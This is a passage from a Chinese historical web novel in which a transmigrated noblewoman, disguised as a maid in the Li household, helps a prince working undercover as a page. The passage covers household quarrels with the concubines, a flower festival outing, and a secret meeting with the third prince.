接着,祝星序朝四周望了望,见没人,才走过去。
裴榭的脸上始终带着一丝微笑。
“你不用紧张,附近的人都被我用药迷晕了。”
祝星序被噎了一下,动作放开了一些。
“你怎么来了?”
裴榭道:“孟春和夜晚会梦魇,她的丫鬟已经在门口昏睡了,一会你过去照看她。”
听完他说的话,祝星序明白这是他在为她铺路。
“那你呢?”
裴榭正准备离开,听她问自己,倒也没隐瞒:“大少爷那边还需谋划,你顾好这边即可。”
祝星序身为丫鬟,在李府不能经常沐浴,像昨晚她便只是用清水擦了擦,身上的柑橘味淡了许多。
裴榭顿感心有些沉了下去。
但他并没有表现出来,见祝星序没有再问,便快速地离开了。
他的身影在深夜的李府中穿行,很快便消失不见。
走得真快……
隐隐从禅香院传来喊叫声。
为了节省时间,祝星序往禅香院狂奔。
进入孟春和的房间时,她还看到了门口倒在地上的素兰。
祝星序在心里默默和素兰道了个歉。
孟春和的声音从屋内又传了过来。
这次祝星序听清楚了。
“快走……不要再来了!”
祝星序赶紧倒好茶水,坐在孟春和的床边,扶她起来。
孟春和被汗浸湿的头发紧贴着面颊,双眼紧闭,似乎陷入了无尽的痛苦之中。
祝星序给她喂了点茶水,润润嘴唇。
意识还未清醒的孟春和似乎也口渴极了,将茶水咽了下去。
祝星序小心翼翼地将孟春和扶靠在床榻上,接着打了一盆凉水过来,用毛巾沾湿,擦去了孟春和额上的汗珠。
孟春和微微睁眼。
“翠花,是你。”
祝星序装作很惊喜的样子:“夫人,您醒了。”
孟春和强撑着坐起来,捂着头。
“素兰呢?”
祝星序:“我刚看见她在门口睡着了,兴许是最近太累了。”
听了这话,孟春和有些恍惚,眼神空洞。
“是吗……”
她的声音很轻,像树叶落在水面上,有一丝波澜,却又很快宁静。
祝星序抿了抿唇,又倒了杯水给她。
“夫人再喝些吧。”
孟春和接过,小小抿了一口,又转向她:“多谢。”
祝星序接过她没喝完的茶杯,服侍孟春和睡下。
“夫人睡吧。”
祝星序给她掖好被子,轻轻拍了拍。
孟春和隐隐感觉面前这个人似乎是拿她当小孩看。
很不合规矩,但她又不想斥责她。
没人教祝星序如何伺候主子,她只能依据平日里看锦珠那样,或者是从前照顾亲戚家小孩的样子。
孟春和这次睡着便没有再醒了。
祝星序等了一会,见她睡得沉了,这才回房自己睡。
在陌生的地方,祝星序睡得并不安稳。
天色将亮未亮时,她就睁开了眼睛。
祝星序想再睡一会,但是又怕李府的上班时间要到了。
在床上翻了半天,还是起来了。
出门时,遇见了失魂落魄的素兰。
祝星序心下了然,但还是关切问:“怎么了?”
素兰叹了口气:“昨晚值守时不小心睡着了,夫人梦魇我没能起来。”
似乎是从孟春和那边听说了昨晚的事情,她又对祝星序道:“谢谢。”
祝星序有些心虚地摆摆手:“这是我应该做的。”
素兰冲她笑了笑,便回到自己房里休息了。
昨夜值守的人,今日白天可以休息
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。
祝星序上白班。
她有些纳闷,这禅香院怎么感觉就她和素兰两个丫鬟?
其他的都是些端菜扫地的,不能进里院。
那她来之前,只有素兰一个人?
祝星序的好奇心被激了起来。
但她很快摇了摇脑袋。
还是不想那么多了,这些都不关她的事。
她只要毛笔。
走到屋外:“夫人,需要用早膳吗?”
里面传来孟春和和蔼的声音。
“传。”
祝星序伺候她用完早膳。
孟春和擦擦嘴,对她道:“我一会会礼佛到中午,你在外面等着便是。”
祝星序应了声,便到门外等着。
屋内传来敲击木鱼的声音。
太阳渐渐升起,庭院的景色都亮堂了起来。
祝星序在屋外站累了,走到回廊下坐着。
不该吃的苦她不会吃。
正值半上午,阳光正好。
院子内种的樟树只遮盖着一半的天井。
阳光窸窸窣窣地洒在祝星序的脸上。
天气这么好,她都快睡着了。
正当她迷迷糊糊随时要睡过去时,院外传来嘻嘻哈哈的声音,声音之大,直接把她吵醒了。
祝星序皱着眉头看过去。
来人是两名穿得花枝招展的女子。
她们身后还跟着浩浩荡荡的一群丫鬟仆从。
一看就不是什么省事儿的人。
那两人看见祝星序,愣了愣,随后不屑道:“你,快去叫你主子出来。”
祝星序不认识她们,单看这副样子,肯定是来找茬的。
她在祝府里很少和其他人起明面上的冲突,一时之间不知道该怎么处理,便坐在原地。
见祝星序不动弹,翘姨娘走过来,想给她个教训。
“你听不见我说话吗?”她抬起手,想打祝星序。
虽然不知道该怎么处理,但祝星序知道不能和她动手,便只在巴掌打下来的瞬间闪躲到了一边。
翘姨娘没料到她会躲开,失去重力摔在了地上。
坐在地上的翘姨娘有些不可置信。
“你……你敢躲!”
祝星序忙行礼:“姨娘饶命,我刚刚脚崴了!”
她猜测是受宠的姨娘。
不然不会这么大张旗鼓地来找李夫人麻烦。
祝明礼也有小妾,只是在许氏的铁血手腕下,一个个如鹌鹑一般缩着,只等着每月分配好的日子等待祝明礼。
翘姨娘见她如此,气急败坏指着她:“你这个小贱人,信不信我告诉老爷,叫他赶你出府!”
祝星序冷哼一声,正准备回怼时,孟春和听到外面的动静,开门走了出来。
祝星序走到她面前跪下:“打扰夫人了,是奴婢的不是。”
孟春和冷眼看着翘姨娘和香姨娘,最后将视线落在祝星序身上。
“你没错,起来吧。”
祝星序麻溜地起来。
她也觉得她没错。
翘姨娘柳眉倒竖:“夫人,你这个丫鬟,她以下犯上,对我不敬呢!大家伙可都看到了!”
香姨娘和其他人纷纷点头。
孟春和看着她,目光毫无波澜:“我没看见。”
翘姨娘的双目简直要喷出火来,命令道:“你这个老女人,你必须给我责罚她,不然我就告诉老爷!”
祝星序无辜地看着她。
她怎么动不动就要告状啊?
不过也能理解。
李栋是她的靠山,自然便想将受委屈的事情告诉他,让李栋为她做主。
孟春和皱皱眉,语气十分不耐烦:“那你就去说。但是现在,请离开!”
翘姨娘没想到今日的孟春和竟如此硬气。
从前孟春和为了息事宁人,没面子的事情做过许多。
她知道再僵持下去也没用,还是回去找老爷告状,让老爷治她。
翘姨娘这才起身,仰着头:“哼!我才不跟你一般见识。”
说罢,便转身离开了禅香院。
香姨娘则眯了眯眼睛,探究似的看了一眼祝星序和孟春和,也跟着离开了。
她们离开后,孟春和才问祝星序:“你可有伤着?”
5. 第 5 章
祝星序有些受宠若惊。
“我没事。”
孟春和似乎还不放心,把祝星序从头到脚看了一遍。
还穿着昨日那套褐色的衣裙。
但是上面一尘不染,没有任何被伤着的痕迹。
孟春和这才放心了。
“我那边有几匹布,你拿走做几件衣裳吧。”
孟春和轻飘飘地说着,仿佛在处置无关紧要的东西。
祝星序这次是真有点惊悚了。
“不用了夫人……”
孟春和的态度却很强硬:“尽快做几身衣裳,你是我的贴身侍女,理应穿着得体。”
容不得拒绝,孟春和转身便去拿了几匹颜色鲜艳的布料。
祝星序只得接过,行礼道谢。
她见孟春和身上也只着素色,不由说道:“您也穿几身鲜艳衣裳吧。”
明明才二十多岁,在现代刚刚大学毕业,正是肆意欢笑的时候。
孟春和摇头:“心已死,穿得再靓丽,又有何用呢?”
随后她便回到屋里,关上门。
祝星序只能先抱着布匹回房间放着。
来这么一天,她也大概看清了如今李府的形势。
李栋估计很少来禅香院,是以孟春和每日都在院子里忙着礼佛,衣服的样式也偏旧,并不热衷装扮。
两位姨娘颇得李栋的宠爱,看今日她们跋扈的样子便可知。
既然是这样,那为什么裴榭要叫自己来孟春和这伺候?
去两位姨娘那里,接近李栋的可能性不是更大吗?
不过,要是让她去,她才不愿意去呢。
翘姨娘笨笨的,一看就是被宠坏了,只要不合她的心意,她就会生气,乱打人。
香姨娘在刚刚的事情里并没有出面,但她走时的那一眼,让人莫名觉得反感。
还是孟春和好。
祝星序抽空去孟春和的小厨房拿了些东西吃。
她还没吃早饭呢!
祝星序在厨房摸索了半天,只有馒头和粥,寡淡无味。
她也不敢久留,拿了就走。
她吃什么都行。
反正再好吃也没有炸鸡烤肉好吃。
她一边啃着一边兜在口袋里。
也不知道什么时候换班,饿的时候还能拿来垫两口。
祝星序百无聊赖地坐在檐廊下。
有两个丫鬟八卦的声音由远及近。
“你听说了吗,最近大少爷没那么爱出去玩了。”
“是啊,听说每天都在房内好好学习呢。”
听到大少爷这个人,祝星序便想到了裴榭。
也不知道他在大少爷那边怎么样了。
丫鬟们继续说。
“好像是因为新来的那个小厮吧。”
“那个小厮还挺博学呢,不愧是做过书童的。”
另一个丫鬟取笑她。
“怎么?喜欢上了?”
那个丫鬟立刻反驳。
“才没有呢!”
“我看你就是有,哈哈……”
两个人走远了,祝星序听不到了。
若她们说的是裴榭,那他混得还可以嘛。
坐了一天,直到李府掌灯时,孟春和才从门内出来。
她看向祝星序:“传膳吧。”
忙完之后,素兰还没来。
祝星序想去找她,问问她是什么情况。
但是孟春和这里没有服侍的人,她走不开。
还是再等等。
直至深夜,素兰都没回来。
又困又累的祝星序忍着哈欠,伺候孟春和歇息后,不管不顾地坐在房门口开始呼呼大睡。
“醒醒。”
有人在碰她的胳膊。
祝星序困得很,不耐烦地甩手。
“谁啊……”
那人犹豫了半晌,伸出手,点了点祝星序的脸颊。
祝星序被冻得一个激灵,立刻清醒了。
睁开眼,是裴榭。
祝星序揉揉眼睛:“怎么了?”
裴榭弯下腰和她对视:“今日是不是有人来欺负你了?”
祝星序回想了半天:“没有啊。”
翘姨娘应该不算吧?她自己摔了个狗吃屎。
裴榭看了看她:“李栋的两个姨娘不是来了?”
祝星序点头:“她们没欺负到我。”
裴榭的嘴角勾了勾。
他过来,也只是问一下情况。
毕竟是他拉着她参与进来的,要是被欺负了,他心里也会愧疚。
见祝星序游刃有余的模样,虽然不知道发生了什么,但应该被祝星序妥善地处理完了。
看来他真是选对了人。
裴榭点头:“有事告诉我。”
说完,便飞快地离开。
祝星序应下了,心里却没当一回事。
每个人都有自己的工作,她自认为还是有些能力的。
只要不事关生死,祝星序都想自己先尝试着解决。
天色渐亮时,素兰才匆匆赶来。
祝星序大喜:“你终于来了!我要去睡觉了!”
裴榭离开之后,她虽然困,但再也无法入睡。
熬到这个时候,祝星序都快坚持不住了。
素兰歉疚道:“辛苦你了。”
祝星序走的时候,不小心撞到她的肩膀,素兰却闷哼一声,差点跪下。
祝星序吓了一跳,忙扶起她。
“怎么了?”
素兰靠着她站稳身子,低着头道:“没事……”
祝星序扶着她胳膊的手稍稍用力,素兰又闷哼了一声。
她心有所感,撩起了素兰的衣袖。
只见手臂上布满了青紫的伤痕。
祝星序神情一凛:“这到底是怎么回事?”
素兰见瞒不过去了,小声哭着:“我……我昨天被翘姨娘带走了,她说……夫人惹她不快,她就要惩罚我。”
祝星序一股怒火直窜上脑门。
岂有此理!
翘姨娘怎么敢?!
她进府之后,都是素兰带着她。
若没有她,祝星序很难说自己能否适应。
祝星序飞快地想着对策。
她是丫鬟,人微言轻,此事只能去找孟春和。
“我这就去告诉夫人。”
素兰立刻拉住她,泪眼婆娑:“别……我不想让夫人担心。”
祝星序皱眉:“可是以你这样的状态,夫人迟早会发现的!”
素兰在孟春和身边伺候了那么久,孟春和对她的事情也定是了如指掌。
素兰的睫毛拼命抖着,抓着祝星序衣袖的手无力垂下。
祝星序立刻跑进屋内。
孟春和刚起身,看见她,皱眉:“素兰呢?”
素兰从门口进来:“夫人我在。”
祝星序开门见山说了素兰的事情。
孟春和的脸色越来越难看。
最后,她一拍床铺:“反了天了!”
“立刻帮我更衣,我要去找老爷。”
素兰和祝星序两人一起上手,迅速帮孟春和更衣梳妆。
祝星序还特意往孟春和的发髻里插了两根金灿灿的步摇。
去吵架,气势要足!
孟春和带着她们直奔正院。
出了禅香院,祝星序头没偏,眼神一直在瞟。
这还是她进李府后,第一次看府里其他地方的景色。
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只是孟春和走得很快,她没看多少,就到了正厅。
正厅内,李栋正在和翘姨娘香姨娘用早膳。
李栋看见孟春和,原本笑着的脸也阴沉下来。
“你来干什么?”
他非常不待见孟春和,看她的目光里有着厌恶、不满等等负面情绪。
祝星序看在眼里,低下头,做出谦卑的模样。
这还是她和裴榭学的。
孟春和不在乎李栋看自己的目光,只轻蔑道:“你们好大的胆子,竟敢对我的丫鬟出手!”
翘姨娘笑了笑,一双手抚在李栋的胳膊上:“夫人,您可别乱污蔑人呐。”
李夫人憎恶地看着她。
“就是你!”
李栋站起身来:“够了!孟春和,你要闹到什么时候!”
孟春和被骂了一通,眼中似有泪水在打转。
“我闹?你抬那么多姨娘进来,我可有说你一句?如今,她们都骑到我头上来了,你还要包庇她们是吗?”
李栋皱眉:“那也要有证据才行。”
孟春和拉过一旁的素兰,挽起袖子:“这就是证据!”
那些伤痕,连李栋看了,都沉默不语。
他看向翘姨娘。
“是你干的?”
翘姨娘有一瞬的愣神,又赶紧讨好地看着李栋:“老爷……”
李栋面无表情地盯着她:“你就说是不是你干的。”
翘姨娘瑟缩了一下,这才不情不愿道:“老爷,是素兰她顶撞了我,奴家才……”
没等她说完,李栋忽然抬起手,大力扇了翘姨娘一巴掌。
她毫无防备,直接被扇到了地上。
回过神时,她捂着脸,坐在地上,泪眼汪汪地看着李栋:“老爷……”
李栋眯起眼睛,语气极其严厉:“我说过多少遍?不要去找她!也不要跟禅香院里的人扯上关系!你是听不懂吗?要不要我再送你去勾栏里学学?”
祝星序看着这一幕,十分震惊。
刚刚不是还很宠着翘姨娘吗?怎么又打她了?
孟春和的情绪倒是缓和了下来,静静地看着。
翘姨娘的泪水淌下,却不敢再说话。
她在这个家里,只能依附李栋。
现在李栋生气了,她知道,老爷最烦的就是顶嘴。
李栋理理衣服,朝李夫人道:“我会将她禁足在院里半年,份例减半,可以了吗?”
孟春和却不看他,而是看向素兰。
素兰低头揉搓着手行礼:“谢谢老爷,谢谢夫人。”
一旁的香姨娘,也只看着,还用帕子擦了擦嘴。
随后,孟春和又带着她们回到了院子里。
在路上,孟春和和她们说着话:“今后,有什么事一定要告诉我,知道吗?”
素兰点头。
祝星序犹豫了一会,还是问道:“夫人,老爷不是很喜欢翘姨娘吗?怎么会……”
孟春和目视前方,没有任何情绪:“他这个人,最看重面子。若这件事传扬出去,遭至他人弹劾,等于要了他的命。”
古代男人,更看重面子和官位。
若影响到他的仕途,即便是爱妾,也会翻脸不认人。
祝星序的心底更加坚定。
一定要回家!
不能留在这里。
孟春和以为她在想男女之情,回过头,对她柔柔地笑。
“你和素兰都是我的身边人,届时若你们有了心仪的男子,出嫁时,我会为你们备好嫁妆的。定不让他们看轻你们。”
素兰听了这话,眼眶瞬间湿润了。
祝星序忙摇头摆手。
若真要给,直接给就成,不要当作嫁妆啊……
6. 第 6 章
李府,勤阅院。
李家大少爷李轲,正托腮看着面前的这一本书。
“阿贵,你说等几日,爹就会让我出门,怎么还没好啊?”
他前几日正是因为翘了课业,被李栋发现,所以被禁足在府内,不能出门寻欢作乐。
李轲本想像之前一样,和李栋大吵大闹,逼得他烦死,从而让他出去。
但新来的这个小厮阿贵,却给他出主意,让他待在院内学习。
这样,李栋不仅会心甘情愿地让他出门,还会给银子。
每次和李栋吵架都是两败俱伤的李轲,鬼使神差地答应了他的提议。
裴榭在一旁给他端茶倒水:“快了,少爷。”
李轲叹了口气。
已经坚持了这么几日,若再坚持不下去,岂不是白费了功夫?
“你再给我做一个机关物件吧,我想玩。”
李轲对他这么好的原因,就在于,裴榭会做机关物件。
一个木制品,在裴榭的手上,会变成各式各样的解谜游戏。
李轲别提多喜欢了。
裴榭早就料到他要,从怀里掏出一个小东西给他。
李轲兴奋地拿过来,开始把玩。
裴榭看着他玩,时不时给点提示。
他看着李轲对东西爱不释手的样子,眸色幽深。
若照这个势头往下,将东西取来便是指日可待。
*
从那一天之后,祝星序彻底在孟春和面前混开了。
素兰更是对她多加照看,还亲自帮她缝制了几套衣裳。
祝星序看着素兰给她做的衣服,开心地抱着她。
“谢谢你!”
素兰还不习惯有人这么直白地表达喜欢,抿唇笑了笑。
“你喜欢就好。”
通过素兰,她也知道了禅香院里原本也是有许多仆从的。
但是翘姨娘看不惯,一个个地把那些丫鬟都撬走了。
孟春和也觉得这样清净,便没有再找新人。
这次还是因为素兰觉得有些力不从心,才让管家安排一个过来。
还有一件事,让祝星序感到舒爽。
翘姨娘原本在自己的院子里待着,无缘无故染上了某种痒病。
她痒得很,便去挠,越挠,红点出得越多。
她院里的丫鬟叫大夫来看,大夫看了半天看不出个所以然来。
一连唤了几个,给翘姨娘把完脉之后,都只说是普通的病。
可将药喝了几天,仍不见好。
李栋心情好起来时,便去翘姨娘院里看她。
谁知,看到她浑身的红点,李栋吓得拔腿就走。
只留下翘姨娘在原地悲伤地痛哭。
素兰告诉祝星序时,祝星序笑得前仰后合。
“你看,恶人自有恶报。”
她对素兰这么说着,但心里已经在怀疑是不是裴榭干的了。
翘姨娘得病不会那么蹊跷。
某一日晚上,裴榭来和她商量之后的对策时,祝星序问了他,裴榭也默认了。
祝星序很感激他。
但裴榭走得飞快,她还没有正式和他道谢。
很快,便出现了这么个机会。
这一日,是花朝节。
先前皇后在皇家林苑内召开的赏花节,便是大睿朝百花盛开的前奏。
花朝节时,全国上下的百姓和官员,都可在城内或城外观看这样的盛况。
孟春和来到京城后,鲜少出门,遇到这样的情景,怎么样也得出去看看。
她没什么闺中密友,只能去找儿子李轲。
李轲看见孟春和来了,忙上前迎。
“儿子见过母亲。”
李夫人点点头:“功课如何了?”
李轲心里烦,却仍恭敬:“十分顺利。”
他若不恭敬,等下给爹知道,又要挨骂。
孟春和笑眯眯道:“你可愿意陪娘出去走走?”
李轲眼睛一亮:“愿意愿意!”
他已经许久没出门了,好不容易有个机会,他得把握。
孟春和道:“好,那你收拾一下,我们一会出门。”
李轲飞快收拾好,带上他的百宝袋,准备出门。
出门时,还撞见了李栋。
李栋念在他这几日都乖乖地待在院子里,问清楚去做什么后,额外给了他几张银票,让他省着点花。
李轲欣喜若狂,若不是裴榭一闪几尺远,他都要抱着他哭了。
“阿贵,你可真是我的贵人啊!”
到门口时,裴榭也见到了祝星序。
祝星序因为要出门,怕被人遇到,乌云膏涂了一层又一层。
现在的她,简直比墨还要黑。
裴榭回想起初见她时白皙的皮肤,眼睛里染上几分笑意。
她还穿了最朴素最简单的衣服,化了个把眼睛变小,把嘴变大的妆。希望能跟祝家大小姐完全割裂开来。
乘上马车,孟春和也注意到祝星序的脸。
“你不是一直都在我屋里伺候吗?怎么越来越黑了?”
素兰也一脸担忧地看着她。
祝星序有些尴尬:“这个……奴婢也不知道。”
孟春和知道女子都是爱美的,便道:“我那里有雪肤霜,等等回去拿给你。涂上几日,应该没那么黑了。”
祝星序不愿意,但也只能谢过夫人。
还没到城内的花圃,路上就已经被围得水泄不通了。
百姓们都是来赏花的,纷纷挤在路上。
孟春和和李轲只好下车步行。
祝星序和素兰一左一右搀扶着李夫人。
祝星序也好想有人搀着她。
好省力。
想念锦珠。
李轲走在一旁,亢奋地到处看。
裴榭的位置和祝星序相隔不过半米。
从后面忽然跑来一群小孩,眼看着就要撞上祝星序。
她忙往旁边躲,可旁边是孟春和,她躲不了,眼睁睁看着自己即将被小孩攻击。
素兰惊呼:“翠花,小心!”
裴榭托起她的胳膊,把她整个人扶了起来。
凉意透过衣服传了过来。
不用回头,祝星序便知道是裴榭。
他低声道:“还能站稳吗?”
祝星序点点头,重新站好。
孟春和也看到了裴榭,知道他是儿子的小厮。
“有赏。”
裴榭喜上眉梢:“多谢夫人。”
祝星序看了看他。
若孟春和知道他是五皇子,会不会吓一跳呢?
不过裴榭还真是能屈能伸啊。
怪不得三皇子能坐上皇位。
裴榭功不可没。
只是裴榭拉自己参与进来,是不是也代表着她在为三皇子做事了呢?
等他当上皇帝,她应该也能讨些赏?
祝星序开始拧眉思考,到时候要什么比较划算。
人潮在慢慢挪动着。
李轲抱怨道:“怎么这么多人?这要几时才能看上花?”
孟春和也有些疲累,不住地往前看着。
现在想离开也晚了,他们的四面八方全都是人。
完全出不去。
在人群里,祝星序感到有些闷热。
裴榭看了她一眼,在保证不离开李轲太远的情况下,站在了祝星序身后。
很快,祝星序感到背后有一阵一阵的凉意,因燥热而产生的烦闷情绪荡然无存,于是回头看了一眼裴榭。
“谢谢。”
祝星序咧着嘴笑。
她眉眼弯弯,浅棕色瞳仁在日光的照射下熠熠生光,黝黑的脸也更衬得她牙齿雪白。
裴榭只看了一眼,便移开了视线。
对于不喜与人触碰的裴榭来说,这种场合无异于受刑。
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他不停闪躲挤过来的人,有些狼狈。
而祝星序,也在人群的分流下,和孟春和他们走散了。
她有些慌张。
“夫人!素兰!”
她叫了一声,没人回应,只有路人好奇地看了她一眼。
祝星序转过头,正好看见裴榭。
她走过去,拉住他。
“我找不见他们了。”
祝星序一来,便大大隔离开了裴榭和人群。
他像抓到救命稻草一般揽过她的肩膀。
尽管还会碰到路人,但已经没刚刚那么难受了。
祝星序感受到他整个身体的寒冷,脸有些微红。
但她又不想从裴榭的怀里离开。
他的体温低,和他接触时,就像个冰袋。
祝星序说什么也不愿意离开。
就当是因为人多,所以两个人才粘在了一起。
祝星序的发髻有些松了,垂落了几根发丝。
发丝落在裴榭的胸口处,轻轻晃动着。
他低头看了眼。
祝星序觉得气氛有些奇怪,开口:“人好多。”
裴榭:“嗯。”
这一声,有着连他自己都没发现的沙哑。
祝星序的体温源源不断地传来。
竟让他常年冰冷的指尖都留下了一丝暖意。
祝星序不愿让气氛凝结,继续道:“时机快成熟了吗?”
裴榭飞得遥远的思绪暂时回归。
“嗯,快了。”
祝星序沉默了一会,又道:“你不问问我的进展吗?”
她的进展?
裴榭一直都在关注着。
“我知道。”
祝星序不说话了。
裴榭一直用力地揽着她的肩膀,有些酸,稍微松了松手。
祝星序敏锐地感觉到了,往旁边一站,离开了他的怀抱。
裴榭面色不显,内心却有一丝空虚。
祝星序看着前方,阴差阳错之下,竟开了一条通道。
“我们快走。”
祝星序回头拉着裴榭猛往那条通道挤。
她怕再和认识的人分开,抓着裴榭手腕的手紧得像把锁,把他牢牢地圈在手心里。
裴榭任由她拉着往前走,艰难地躲闪着周围的人。
尽管他和祝星序触碰已经不是一次两次,但他仍有些惊奇。
自己对与她接触竟然丝毫不反感。
在祝星序的奋力挤压和路人的咒骂声中,他们终于挤到了最前面。
可她的手,还在裴榭的手腕上锢着。
裴榭看了看她因为顺利挤出来而笑的侧脸,没有选择挣脱。
城内花圃园极大,中间还挖了河道,方便贵人们乘船欣赏沿途的花景。
百姓们若不想花钱,也能沿着岸行走。
祝星序瞧见了孟春和与李轲。
素兰朝她招手。
祝星序拉着裴榭走过去。
李轲看到裴榭也很高兴。
“阿贵,你怎么不跟着我呢!”
裴榭立刻切换成仆从模式和李轲说话。
祝星序也习惯了,走到孟春和身边。
“夫人。”
孟春和也笑笑:“找到就好。”
李轲让裴榭去定船舫的座位。
裴榭应了一声,转身去和船家沟通。
没一会,他小跑过来道:“空的船舫已经没有了,只能和别人拼。”
说完,还擦了擦根本不存在的汗,显得他很辛苦。
祝星序看了他一眼。
李轲有些不满,却也知道现在人多,不能怪裴榭。
他烦躁地挥挥手:“拼就拼吧。”
裴榭将大家带到预定的船舫上,众人上船。
岸边,祝若怡正带着祝灿儿呆呆地看着祝星序的背影。
“灿儿,我怎么感觉那个是祝星序呢?”
7. 第 7 章
祝若怡其人,为人别扭,心里虽然喜欢祝星序,可因为不是一个生母,总是对她没有什么好脸色。
许氏和她说,只有灿儿才是她真真亲的妹妹。
可每当她去找祝星序事的时候,祝星序都没什么反应,甚至还会在她刁蛮说要首饰衣服时,拿起来放到她的手上。
“喜欢就拿去吧。”
祝若怡看着画舫越开越远,心中的疑惑渐渐加深。
她不是跟远方表姐去外地玩了吗?现在怎么在这?
不过,那名女子黑得很,不像她。
祝星序可是肤白似雪的。
祝若怡皱着眉,还是决定先带灿儿玩。
*
船舫在碧波荡漾的湖中划开一道道涟漪,撞碎了倾斜在水面的日光。
偶有一阵风吹来,轻拂过祝星序的脸颊。
除了刚刚的路上有些拥挤,在船舫上还是很舒服的,之前她都嫌人多,从没来过。
孟春和坐在安排的房间内,纱帘被挽起,以供她能直接欣赏到花。
李轲刚历经过人挤人的疲累,现下躺在矮榻上呼呼大睡。
孟春和慈爱地看着他,又转头开始边喝茶边赏花。
祝星序在服侍她时频频地望向船外的风景。
孟春和知道她年纪不大,心性不定,便道:“你可随处走走,素兰服侍我即可。”
素兰也点点头。
她跟着孟春和已经欣赏过很多次风景了,而且在她心里,李夫人比风景更重要。
祝星序不管那么多,得了允许之后就往船板上跑。
她一边走着,一边看着船外的风景。
现代也有类似于这样的植物园,只不过都是小学生春游去看的,为了创新,还弄了一些太空沙土,太空植物之类的。
也不知道是不是古代的娱乐方式实在太贫瘠了,看着这些鲜花,祝星序也感到很有意思。
不过,她都快逛完整艘船了,硬是没发现其他的宾客。
裴榭不是说这船是和别人拼的吗?怎么没人?
行至船尾时,她看到了裴榭。
他面朝她的方向,一改在李轲面前阿谀的模样,眉目深锁,正在和面前的男人说着什么。
裴榭面前的这个男人,身着华服,细看还有金线点缀,一看便是极其富贵之人。
只是男人背对着祝星序,她看不见他的脸。
和裴榭交流的贵公子……
祝星序脑子一转,猜测这个人八成是三皇子。
所以,他安排了这艘船,主要是为了和三皇子汇报情况吗?
祝星序呆呆地看着他们,裴榭也看到了她。
他低声和裴檐道:“那位,便是我和你说过的祝大小姐。”
裴檐回头。
祝星序见他们二人望过来,有些紧张地移开视线。
偷看给发现了……
裴榭见她故作镇定地看向别处,心里有些好笑,但面色不显。
裴檐看着祝星序:“她倒是挺特别的。”
说完,他联想到这几日见到的那名女子,嘴角挂起了笑意。
裴檐和裴榭并没有马上离开。
一直这么看着也很尴尬,祝星序给自己壮胆,走到他们面前。
裴檐笑着看她走近。
严格来说,祝星序已经算是和他们一条船上的人了。
听裴榭说的,他也很想见一见她。
不过,裴檐也很清楚地知道,祝星序是祝星序,祝明礼是祝明礼。
祝明礼现下并没有站队,而是处于观望态度。
他不会因为祝星序帮了他们,便默认祝明礼的态度。
当然,若祝明礼能支持他们,那是最好。
现在的情况对他非常不利。
太子是被皇帝钦定的储君,又有这么多臣子的支持,他的每一步都需要谋划。
半分错也出不得。
祝星序小小地福了个身:“臣女祝星序,见过三皇子殿下。”
她恍然想起,自己好像从没有给裴榭行过礼。
祝星序偷偷看了一眼裴榭,见他没什么反应,这才安下心。
裴檐和颜悦色道:“起身吧,无需多礼。”
祝星序不客气地起来。
一开始遵守这些繁文缛节,她觉得像在玩游戏。
但久了之后,也有些烦躁。
裴檐温和地看着她:“你既帮了我们,以后有什么需要的尽管说。”
祝星序的心提到嗓子眼。
那个皇室中人的腰牌……
她气馁了。
腰牌是贴身之物,出示腰牌,还能获得和皇室一样的特权。
如果自己贸贸然找他要,一是非常奇怪,另一个则是会让自己陷入危险之中。
她沉思了一番,又看了一眼裴榭。
他的目光不在他们身上,而是看向船外的风景。
裴榭的侧脸很优越,皮肤白皙,棱角分明。
只是,他的眼神,似乎在看花,又似乎不是。
回过神来,祝星序低眉顺眼道:“多谢三皇子的好意,臣女记得了。”
她想学习裴榭的变脸速度。
感觉很有用。
裴榭不动声色地看回来,只能看到她的额头和眼睛。
他垂下眼睑,眸中的情绪被他藏了起来。
另一边,素兰的声音传来。
“翠花,你在吗?”
她的声音渐渐近了。
祝星序怕她看到裴榭和三皇子,立刻走回去找她。
“我在。”
边走,还边回头给他们使眼色。
裴檐笑了笑,与裴榭隐在最近的房间内。
“祝大小姐还真是有趣。”
裴榭不置可否。
二人继续聊着刚刚未聊完的计划。
*
祝星序匆匆走去,看见素兰。
素兰见到祝星序,也是一喜。
“你去哪里了?让我一顿好找。”
素兰轻轻拍了一下她的手背。
祝星序缩了缩肩膀:“去那边看风景了。”
素兰探头看了一下她说的方向,并没有觉得有什么特别的。
“夫人看你迟迟未归,让我来找你。”
两人挽着手便回到了孟春和所在的房间。
李轲已经睡醒了,坐在原地发呆。
他喃喃道:“阿贵去哪了?”
祝星序心一紧。
下一刻,裴榭端着绿豆汤掀开帘子进来了。
他将托盘放在桌上,取出一碗递给李轲。
“小人刚刚让船上的厨师做绿豆汤,刚刚才做好。”
李轲眼睛一亮,立刻开始喝起来。
祝星序也端了一碗给李夫人。
外面的太阳越来越毒了。
祝星序直勾勾地盯着李轲和孟春和喝绿豆汤,馋得口水都要流出来了。
船身猛地晃了一下。
正拿着凉却茶水的裴榭,一不小心将茶水洒到了祝星序身上。
和他一样的凉意透过裙摆传递进祝星序的身体里。
裴榭慌忙道歉:“对不住,翠花姐姐。”
祝星序正想说没事,忽然看见裴榭朝她挤了挤眼睛。
她不明白什么意思,还是道:“注意些!”
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素兰将她拉过来,查看了一番:“还好只是湿透了,隔壁有换洗衣服。”
祝星序只得去隔壁换衣,不知道裴榭突然这么做的用意。
打开门,她便见到屋内的桌上,正摆放着一碗绿豆汤。
里头还贴心地加了冰块,正冒着丝丝凉气。
祝星序笑了起来,赶紧走过去坐下,拿起勺子开始吃。
绿豆汤入口,她幸福得简直要飞起来。
她想到刚刚裴榭的挤眉弄眼,这才知道这是他特意为她留的一碗。
“这个裴榭……还挺懂事的嘛。”
她一边吃着一边笑,丝毫不觉得说五皇子挺懂事有什么不对。
快速吃完,她身上的暑意都消去了许多。
换好衣服,祝星序回了房间。
画舫慢悠悠地飘着,终于到了岸边。
这岸边,刚好有一家酒楼,名为左添,是大睿朝的皇商旗下的产业。
皇商富可敌国,建造的酒楼也是华美气派却又不失雅致。
唯一的缺点就是价格高昂。
普通的百姓根本消费不起。
很多人沿着岸边走到此处,过了个眼瘾便又往回走了。
李轲自然央求孟春和去里面吃饭。
孟春和笑意盈盈的,答应了。
众人往里面走。
越往里走,越是富丽堂皇。
一楼大厅不设席位,尽是不同植物加艺术品设计而成的仙境。
往上,便是被设计成琼楼玉宇般的隔间。
从隔间里,可以看到自大厅地面蜿蜒而上的景色,且隔间与隔间之间相隔甚远,既能赏景,又私密。
除了像现在这样的花朝节,平日里也有不少达官显贵来此高谈阔论。
这里的店小二都穿成统一的衣服,待人亲切,有宾至如归的感觉。
祝星序先前没来过。
